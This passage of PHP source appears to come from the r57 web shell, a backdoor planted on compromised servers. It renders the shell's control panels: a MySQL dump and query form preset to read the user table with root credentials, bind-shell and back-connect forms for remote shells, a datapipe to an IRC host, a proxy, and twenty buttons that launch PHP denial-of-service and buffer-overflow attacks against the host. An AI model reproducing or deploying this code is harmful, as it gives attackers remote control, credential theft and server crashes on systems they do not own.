3493echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
3494echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
3495echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
3496echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
3497echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3498echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
3499echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
3500echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3501echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
3502echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
3503echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
3504echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
3505echo "</td>".$fe."</tr></div></table>";
3506}
3507if(!$safe_mode &&$unix){
3508echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
3509echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
3510echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
3511echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
3512echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
3513echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
3514echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3515echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
3516echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ?(getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
3517echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
3518echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
3519echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
3520echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3521echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
3522echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
3523echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
3524echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
3525echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
3526echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
3527echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3528echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
3529echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
3530echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
3531echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
3532echo $te."</td>".$fe."</tr></div></table>";
3533}
3534echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts;
3535echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
3536echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
3537echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe);
3538echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe);
3539echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe);
3540echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe);
3541echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe);
3542echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe);
3543echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
3544echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe);
3545echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe);
3546echo $te."</td><td valign=top width=50%>".$ts;
3547echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
3548echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe);
3549echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe);
3550echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe);
3551echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe);
3552echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe);
3553echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe);
3554echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe);
3555echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe);
3556echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe);
3557echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe);
3558echo $te."</td></tr></div></table>";
3559?>